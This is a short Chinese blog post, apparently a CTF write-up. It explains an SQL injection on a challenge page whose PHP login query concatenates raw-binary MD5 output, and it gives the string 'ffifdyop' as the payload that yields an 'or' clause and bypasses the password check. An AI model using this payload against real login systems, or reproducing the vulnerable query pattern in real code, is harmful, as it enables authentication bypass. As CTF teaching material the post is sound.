一个绕过MD5的SQL注入技巧

最新推荐文章于 2025-06-25 11:37:15 发布

hi_xpf

最新推荐文章于 2025-06-25 11:37:15 发布

阅读量5.2k

点赞数

CC 4.0 BY-SA版权

分类专栏： CTF 文章标签： ctf sql注入 MD5

本文链接：https://blog.youkuaiyun.com/qq_24810241/article/details/79908449

CTF 专栏收录该内容

2 篇文章

订阅专栏

本文介绍了一种特殊的SQL注入技巧，通过构造特定的MD5输入来绕过原本的MD5防御机制，并成功实现SQL注入。具体展示了如何找到合适的字符串进行攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

隐藏在注释里的提示：

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
    echo 'flag is :'.$flag;
}
else{
    echo '密码错误!';
}

看到这里的提交参数被MD5再组合进SQL查询语句，导致常规的注入手段几乎都失效了
但是注意到，MD5之后是hex格式，转化到字符串时如果出现'or'xxxx的形式，就会导致注入
这里提供一个抄来的字符串：ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转成字符串为'or'6�]��!r,��b
从而完成了注入
以上。